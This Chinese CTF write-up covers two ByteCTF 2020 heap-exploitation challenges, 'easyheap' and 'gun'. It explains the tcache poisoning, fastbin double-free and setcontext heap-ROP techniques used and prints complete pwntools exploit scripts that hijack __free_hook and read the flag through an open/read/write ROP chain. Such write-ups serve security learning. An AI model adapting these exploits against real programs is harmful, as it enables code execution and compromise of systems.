-
-
[原创]【bytectf2020】
-
2022-4-28 15:56 7003
-
鸽了ymnh一个月
学到的知识
(1)tcache poison:如果能够任意地址写0,那么可以把tcache中末尾是‘\x00'的堆块的fd指针的低地址写上'\x00',即可double free
(2)set_rdx_ret && setcontext联合实现堆上rop:劫持free_hook然后可以就可堆上实现rop了
1 | 0x00000000001547a0 : mov rdx, qword ptr [rdi + 8 ]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20 ]; |
需要用到上面这个非常特殊的gadget
(3)堆切割覆盖fd指针(from fmyy):当存在uaf漏洞时,先申请两个大的堆块(不妨假设chunk2的地址大于chunk1),并free使得两个堆块在unsorted bin中完成合并。此后申请小的堆块会考虑从合并堆块切割分配,并且地址从chunk1一直往高地址生长。那么就有可能和chunk2的内容有重叠,可以通过edit来修改chunk2的内容
1.easyheap
版本
2.31 9_1
保护
main
add
这个add很特殊,存在逻辑漏洞,就是我们可以把v2赋值之后,再赋值v1,理论上来说v1和v2应该是一样的。同时有一个任意地址写0。很机智有一个初始化操作,但是如果是malloc(1),对0x20大小的堆块初始化就不完全了。并且限制了堆块的个数上限为8
show
很平常
delet
无法uaf
利用思路
泄露libc:通过malloc(1)切割unsorted chunk,切下一段0x20大小的堆块,并且通过逻辑漏洞,绕过往fd指针低地址写0,从而打印地址。
tcache poison:通过任意地址写0让tcache chunk自指,注意的是,此chunk还要满足从它到链尾至少还有两个chunk(不然申请不出我们想要写的地址)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' r = process( './easyheap' ) libc = ELF( './libc-2.31.so' ) def z(): gdb.attach(r) def cho(num): r.sendlineafter( ">> " , str (num)) def exadd(v2,size,con): cho( 1 ) r.sendlineafter( "Size: " , str (v2)) r.sendlineafter( "Size: " , str (size)) r.sendlineafter( "Content: " ,con) def add(size,con): cho( 1 ) r.sendlineafter( "Size: " , str (size)) r.sendlineafter( "Content: " ,con) def show(index): cho( 2 ) r.sendlineafter( "Index: " , str (index)) def delet(index): cho( 3 ) r.sendlineafter( "Index: " , str (index)) ##leak libc for i in range ( 0 , 8 ): add( 0x80 , 'nameless' ) for i in range ( 0 , 7 ): delet( 7 - i) delet( 0 ) exadd( 0x100 , 1 , '\x60' ) #0 show( 0 ) r.recvuntil( "Content: " ) libcbase = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 0x1c4bad - (libc.sym[ '__libc_start_main' ] + 243 ) log.success( 'libcbase:' + hex (libcbase)) ##set free_hook = libcbase + libc.sym[ '__free_hook' ] system = libcbase + libc.sym[ 'system' ] ##tcache poison ##exadd(0x2d1,0x80,'nameless') delet( 0 ) for i in range ( 0 , 8 ): add( 0x70 , 'nameless' ) for i in range ( 0 , 8 ): delet(i) for i in range ( 0 , 7 ): add( 0x60 , '/bin/sh\x00' ) delet( 1 ) delet( 5 ) delet( 4 ) delet( 3 ) delet( 2 ) exadd( 0xe1 , 0x60 , 'nameless' ) add( 0x60 ,p64(free_hook)) add( 0x60 , 'nameless' ) add( 0x60 , 'nameless' ) add( 0x60 ,p64(system)) delet( 0 ) r.interactive() |
2.gun
这题还挺有意思的,不得不佩服出题人的脑洞,也挺好玩的
保护
沙箱
禁了system和execve的系统调用,不能使用one_gadget直接打,考虑orw绕过
ida
前面就读了一个名字还有禁了一下沙箱,主要还是从这里开始看,从menu里面可以看出主要实现了3个功能。这三个功能和平常的管理系统都不大一样。
shoot
有个printf函数可以让我们leak libc和heap
free之后没有清空指针,多半可以uaf进行double free
load
发现在clip处挂了一个头插法插入的链表,由于shoot的时候没有断链,所以实际上可能是把一条一条的链拼接上去。如果我们挂的链上有一个free过的堆块,连续shoot至那个堆块就可double free了
buy
申请后指针未初始化,可以利用这个leak libc和heap
利用思路
double free劫持free_hook然后堆上rop的裸题
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | from pwn import * context.update(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) r = process( './gun' ) libc = ELF( './libc-2.31.so' ) def z(): gdb.attach(r) def cho(num): r.sendlineafter( "Action> " , str (num)) def buy(size,con): cho( 3 ) r.sendlineafter( "Bullet price: " , str (size)) r.sendlineafter( "Bullet Name: " ,con) def load(index): cho( 2 ) r.sendlineafter( 'load?' , str (index)) def shoot(time): cho( 1 ) r.sendlineafter( 'time: ' , str (time)) ##read_name r.sendlineafter( "Your name: " , 'nameless' ) ##leak_libc buy( 0x500 , 'nameless' ) #0 buy( 0x20 , 'nameless' ) #1 load( 0 ) shoot( 1 ) buy( 0x20 , 'nameless' ) #0 load( 0 ) shoot( 1 ) r.recvuntil( 'Pwn! The ' ) r.recvuntil( 'nameless' ) libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x1c4f5d - (libc.sym[ '__libc_start_main' ] + 243 ) log.success( 'libcbase:' + hex (libcbase)) ##set libfunc setcontext = libcbase + libc.sym[ 'setcontext' ] + 61 free_hook = libcbase + libc.sym[ '__free_hook' ] pdt = libcbase + 0x26b72 ##pop_rdi_ret pat = libcbase + 0x4a550 ##pop_rax_ret pst = libcbase + 0x27529 ##pop_rsi_ret pd12t = libcbase + 0x11c1e1 ##pop_rdx_r12_ret sys_ret = libcbase + 0x66229 ##syscall_ret def syscall(num,a1,a2,a3): pd = p64(pat) + p64(num) + p64(pdt) + p64(a1) + p64(pst) + p64(a2) + p64(pd12t) + p64(a3) + p64( 0 ) + p64(sys_ret) return pd ##leak_heap buy( 0x30 , 'nameless' ) #0 buy( 0x30 , 'nameless' ) #2 load( 0 ) load( 2 ) shoot( 2 ) buy( 0x30 , '\x0a' ) #0 load( 0 ) shoot( 1 ) r.recvuntil( 'Pwn! The ' ) heap = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x340 log.success( 'heap:' + hex (heap)) ##set target target = heap + 0x4c0 ##fastbin_double_free load( 1 ) shoot( 1 ) for i in range ( 0 , 9 ): buy( 0x20 , 'nameless' ) for i in range ( 0 , 9 ): load( 8 - i) shoot( 9 ) for i in range ( 0 , 7 ): buy( 0x20 , 'nameless' ) for i in range ( 0 , 6 ): load( 5 - i) shoot( 8 ) ##free_hook to setcontext for i in range ( 0 , 7 ): buy( 0x20 , 'nameless' ) rop = syscall( 2 ,target + 0x10 , 0 , 0 ) + syscall( 0 , 3 ,target + 0x10 , 0x40 ) + syscall( 1 , 1 ,target + 0x10 , 0x40 ) padding = './flag\x00\x00' + p64(target) + p64(setcontext) + 'a' * 0x78 + p64(target + 0xb0 ) + rop buy( 0x200 ,padding) buy( 0x20 ,p64(free_hook)) buy( 0x20 , 'nameless' ) buy( 0x20 , 'nameless' ) buy( 0x20 ,p64(libcbase + 0x1547a0 )) ## 特殊的gadget load( 7 ) z() shoot( 1 ) r.recvuntil( 'flag' ) flag = 'flag' + r.recv() print (flag) r.interactive() |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界